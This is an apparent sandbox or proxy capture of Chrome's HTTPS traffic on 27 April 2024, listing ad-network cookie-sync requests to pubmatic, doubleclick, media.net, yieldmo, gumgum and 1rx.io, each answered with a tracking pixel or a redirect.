2024-04-27 22:42:32 UTC	1982	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=smhRw3qDUOZWwnIliIFkhJUSGEU&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; PugT=1714257735; SPugT=1714257740; chkChromeAb67Sec=2; pi=159463:4; DPSync3=1715385600%3A263_262_261_260_259_201%7C1714780800%3A252_265; SyncRTB3=1714780800%3A15_223_2%7C1716768000%3A224%7C1715472000%3A268 [TRUNCATED]
2024-04-27 22:42:32 UTC	709	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:32 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_860=16335-smhRw3qDUOZWwnIliIFkhJUSGEU&KRTB&23334-smhRw3qDUOZWwnIliIFkhJUSGEU&KRTB&23417-smhRw3qDUOZWwnIliIFkhJUSGEU&KRTB&23426-smhRw3qDUOZWwnIliIFkhJUSGEU; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 26-Jul-2024 22:42:32 GMT; path=/ Set-Cookie: PugT=1714257752; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:32 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-27 22:42:32 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
606	192.168.2.4	50527	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	1101	OUT	GET /cksync.php?cs=1&type=zem&ovsid=pzXJ98G8FgkOH15Vlr4a HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3572593249104590000V10; data-rk=1977432098227636774~~8; data-r=LVIOSA1W-7-6DCM~~1; data-pbs=setstatuscode~~1; data-so=2d729954-b637-472c-acf0-d931fcda5d4a~~8; data-mf=786797b7-bf38-456a-a874-4aad6fb5186b~~1; data-g=CAESEPKex8KgiD5UyK1lepusKL4~~8; data-o=0c862afa-665c-0e9e-22ac-a733d256e22a~~8; data-c=3a1484ea-90ac-4bdd-895c-934bad280353~~1; data-c-ts=1714257737; data-xu=o2ksvWLN1S0QKf5~~8; data-co=AAACDi8HYa-cRgMTW_ICAAAAAAA~~8
2024-04-27 22:42:32 UTC	629	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-ze=pzXJ98G8FgkOH15Vlr4a~~1;Expires=Sun, 27 Apr 2025 22:42:32 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Sat, 27 Apr 2024 22:42:32 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 27 Apr 2024 22:42:32 GMT Connection: close
2024-04-27 22:42:32 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-04-27 22:42:32 UTC	14	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
607	192.168.2.4	50529	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	827	OUT	GET /pixel?google_nid=casale_media2_dsp_secure&google_cm&google_hm=Zi1-RMAoJXEAAC4sAhP6pwAA HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://googleads.g.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:32 UTC	678	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://dsum-sec.casalemedia.com/rum?cm_dsp_id=45&external_user_id=CAESEFVeUHfI19jJNPp1Sf2P_VQ&google_cver=1 Date: Sat, 27 Apr 2024 22:42:32 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 313 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:32 UTC	313	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 73 75 6d 2d 73 65 63 2e 63 61 73 61 6c 65 6d 65 64 69 61 2e 63 6f 6d 2f 72 75 6d 3f 63 6d 5f 64 73 70 5f 69 64 3d 34 35 26 61 6d 70 3b 65 78 74 65 72 6e 61 6c 5f 75 73 65 72 5f 69 64 3d 43 41 45 53 45 46 56 65 55 48 66 49 31 39 6a 4a Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://dsum-sec.casalemedia.com/rum?cm_dsp_id=45&external_user_id=CAESEFVeUHfI19jJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
608	192.168.2.4	50530	3.209.150.107	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	858	OUT	GET /v000/sync?pn_id=c&google_gid=CAESENDP38n5xEeD2tet0N-YGyg&google_cver=1 HTTP/1.1 Host: ads.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.yieldmo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; re_sync=rc%3D1191296%7Cunl%3D1191296%7Cc%3D1191296%7Cdv360%3D1191296%7Can%3D1191296; ptrrc=LVIOSA1W-7-6DCM; ptran=1476058396850158061
2024-04-27 22:42:32 UTC	799	IN	HTTP/1.1 200 Date: Sat, 27 Apr 2024 22:42:32 GMT Content-Type: image/gif;charset=utf-8 Content-Length: 43 Connection: close Set-Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; Max-Age=31536000; Expires=Sun, 27 Apr 2025 22:42:32 GMT; Domain=yieldmo.com; Path=/; Secure; SameSite=None Set-Cookie: ptrc=CAESENDP38n5xEeD2tet0N-YGyg; Max-Age=31536000; Expires=Sun, 27 Apr 2025 22:42:32 GMT; Domain=ads.yieldmo.com; Path=/; Secure; SameSite=None Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: POST, GET, OPTIONS Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile
2024-04-27 22:42:32 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
609	192.168.2.4	50532	8.28.7.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	1955	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDImdGw9MTI5NjAw&piggybackCookie=uebPrO1GC4eaiilUVH8tZg HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; PugT=1714257735; SPugT=1714257740; chkChromeAb67Sec=2; pi=159463:4; DPSync3=1715385600%3A263_262_261_260_259_201%7C1714780800%3A252_265; SyncRTB3=1714780800%3A15_223_2%7C1716768000%3A224%7C1715472000%3A268 [TRUNCATED]
2024-04-27 22:42:32 UTC	655	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:31 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_904=23554-uebPrO1GC4eaiilUVH8tZg&KRTB&23557-uebPrO1GC4eaiilUVH8tZg&KRTB&23586-uebPrO1GC4eaiilUVH8tZg; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:31 GMT; path=/ Set-Cookie: PugT=1714257751; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:31 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-27 22:42:32 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
610	192.168.2.4	50534	35.172.99.217	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	682	OUT	GET /usersync?b=vnt&i=f10e083f-54cc-4ce5-aa07-8210352e586a HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2
2024-04-27 22:42:32 UTC	210	IN	HTTP/1.1 200 Date: Sat, 27 Apr 2024 22:42:32 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-27 22:42:32 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
611	192.168.2.4	50524	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	1938	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; PugT=1714257735; SPugT=1714257740; chkChromeAb67Sec=2; pi=159463:4; DPSync3=1715385600%3A263_262_261_260_259_201%7C1714780800%3A252_265; SyncRTB3=1714780800%3A15_223_2%7C1716768000%3A224%7C1715472000%3A268 [TRUNCATED]
2024-04-27 22:42:32 UTC	319	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:32 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-27 22:42:32 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
612	192.168.2.4	50535	35.172.99.217	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	665	OUT	GET /usersync?b=sad&i=4435248766784737857 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2
2024-04-27 22:42:32 UTC	210	IN	HTTP/1.1 200 Date: Sat, 27 Apr 2024 22:42:32 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-27 22:42:32 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
613	192.168.2.4	50515	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	1996	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA==&piggybackCookie=uid:f26e662d-7f4d-4d00-b052-4dd564d435a2&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; PugT=1714257735; SPugT=1714257740; chkChromeAb67Sec=2; pi=159463:4; DPSync3=1715385600%3A263_262_261_260_259_201%7C1714780800%3A252_265; SyncRTB3=1714780800%3A15_223_2%7C1716768000%3A224%7C1715472000%3A268 [TRUNCATED]
2024-04-27 22:42:32 UTC	604	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:32 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_27=16735-uid:f26e662d-7f4d-4d00-b052-4dd564d435a2; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 26-Jul-2024 22:42:32 GMT; path=/ Set-Cookie: PugT=1714257752; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:32 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-27 22:42:32 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
614	192.168.2.4	50526	69.194.240.13	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	1317	OUT	GET /usersync2/rmpssp?sub=zeta&gdpr=0&gdpr_consent=&us_privacy=1YNN&redir=https%3A%2F%2Fssp.disqus.com%2Fmatch%3Fbidder%3D37%26buyeruid%3D%5BRX_UUID%5D%26r%3DCid1YS01YzAyODA5NS05YzA1LTM2YTQtYjhlOS03YThhNDg0MjUyODgiBDFZTk4qjAFodHRwczovL3Bicy55YWhvby5jb20vc2V0dWlkP2JpZGRlcj16ZXRhX2dsb2JhbF9zc3AmZ2Rwcj0wJmdkcHJfY29uc2VudD0mZ3BwPURCQUEmZ3BwX3NpZD0tMSZmPWkmdWlkPXVhLTVjMDI4MDk1LTljMDUtMzZhNC1iOGU5LTdhOGE0ODQyNTI4ODICJRI4AQ== HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-915945b2-6af3-4975-9839-febe73c73a74-005%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D9%26vsid%3D3572593249104590000V10%26type%3Dr1%26refUrl%3D%26vid%3D42577364233572593249104590000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D
2024-04-27 22:42:32 UTC	722	IN	HTTP/1.1 302 Found date: Sat, 27 Apr 2024 22:42:33 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache location: https://sync.targeting.unrulymedia.com/csync/RX-915945b2-6af3-4975-9839-febe73c73a74-005?redir=https%3A%2F%2Fssp.disqus.com%2Fmatch%3Fbidder%3D37%26buyeruid%3DRX-915945b2-6af3-4975-9839-febe73c73a74-005%26r%3DCid1YS01YzAyODA5NS05YzA1LTM2YTQtYjhlOS03YThhNDg0MjUyODgiBDFZTk4qjAFodHRwczovL3Bicy55YWhvby5jb20vc2V0dWlkP2JpZGRlcj16ZXRhX2dsb2JhbF9zc3AmZ2Rwcj0wJmdkcHJfY29uc2VudD0mZ3BwPURCQUEmZ3BwX3NpZD0tMSZmPWkmdWlkPXVhLTVjMDI4MDk1LTljMDUtMzZhNC1iOGU5LTdhOGE0ODQyNTI4ODICJRI4AQ%3D%3D%26us_privacy%3D1YNN connection: close
2024-04-27 22:42:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

